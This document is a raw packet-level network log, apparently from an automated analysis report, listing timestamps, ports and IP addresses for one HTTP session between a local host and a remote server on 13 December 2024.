Dec 13, 2024 08:18:56.508265972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.508275986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.508285999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.508301973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.508342981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.509413004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.509474039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.509485006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.509511948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.509572029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.509624958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.511657953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.511810064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.511820078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.511832952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.511914015 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.512469053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.512495995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.512506008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.512516975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.512531996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.512554884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.513044119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.513194084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.513205051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.513235092 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.513375998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.513434887 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.514353991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.514365911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.514377117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.514425993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.514501095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.514552116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.518402100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.518414974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.518424034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.518435001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.518491030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.519433975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.519444942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.519457102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.519489050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.519583941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.519754887 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.520076990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520225048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520241022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520251036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520261049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520272017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520282030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520293951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520306110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520315886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520325899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520335913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.520366907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.520394087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.521224022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.521272898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.521284103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.521359921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.521393061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.521461010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.525542974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525554895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525566101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525574923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525585890 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525600910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.525651932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.525703907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525713921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525721073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.525753021 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.525798082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.526325941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.526335955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.526346922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.526381016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.526462078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.526514053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.527476072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.527650118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.527661085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.527671099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.527693033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.527740002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.528405905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.528712034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.528723001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.528733015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.528764963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.528789043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.529645920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.529969931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.529979944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.529993057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.530009985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.530033112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.531044960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531069040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531086922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531102896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531111956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.531152010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.531173944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531189919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531204939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531220913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.531225920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.531255960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.532074928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.532114983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.532130003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.532155037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.532244921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.532300949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.533236027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.533286095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.533324957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.533447981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.534430981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.534493923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.535754919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535769939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535808086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.535832882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535870075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535902023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.535916090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535932064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535947084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535963058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.535969019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.536003113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.536932945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.537522078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.537539005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.537569046 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.537672997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.537713051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.538533926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.538551092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.538597107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.538686991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.538703918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.538743019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.539334059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.539362907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.539377928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.539406061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.539499044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.539576054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.540488958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.540504932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.540520906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.540574074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.540767908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.540831089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.542963028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.542979002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.543059111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.574388027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574413061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574429989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574517012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574531078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.574582100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.574645996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574707985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574723959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574749947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.574796915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.574836969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.575467110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.575529099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.575544119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.575572014 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.575618029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.575675011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.576297045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.576325893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.576340914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.576364994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.576447010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.576503038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.577138901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.577204943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.577222109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.577244043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.577274084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.577311993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.578247070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.578296900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.578311920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.578332901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.578416109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.578452110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.579164982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.579204082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.579225063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.579247952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.579365969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.579410076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.580476999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.580692053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.580735922 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.581592083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.581655979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.581671000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.581696033 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.581788063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.581826925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.582942963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583005905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583022118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583045006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.583112001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583169937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.583359003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583444118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583458900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583482981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.583584070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.583637953 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.584213972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.584278107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.584294081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.584317923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.584384918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.584423065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.585042953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585071087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585088015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585114002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.585230112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585272074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.585885048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585980892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.585998058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586029053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.586040020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586080074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.586710930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586802006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586817026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586842060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.586895943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.586936951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.587547064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.587613106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.587627888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.587650061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.587680101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.587718010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.588386059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.588469982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.588486910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.588510990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.588541031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.588579893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.589221001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.589304924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.589320898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.589345932 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.589440107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.589495897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.590073109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590090990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590111971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590140104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.590235949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590293884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.590918064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590970039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.590986013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591006994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.591062069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591099977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.591692924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591751099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591766119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591789961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.591840982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.591878891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.592521906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.592601061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.592617989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.592639923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.592689037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.592732906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.593430996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.593487978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.593504906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.593527079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.593615055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.593653917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.594192982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.594254971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.594270945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.594299078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.594392061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.594432116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.595026970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595084906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595101118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595122099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.595222950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595257044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.595848083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595912933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595928907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.595949888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.596021891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.596056938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.596683979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.596765041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.596781969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.596806049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.596960068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.596999884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.597521067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.597548962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.597563982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.597588062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.597780943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.597820044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.598359108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.598423958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.598439932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.598462105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.598516941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.598552942 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.599173069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.599251986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.599267006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.599287987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.599329948 CET	80	49726	185.81.68.147	192.168.2.11
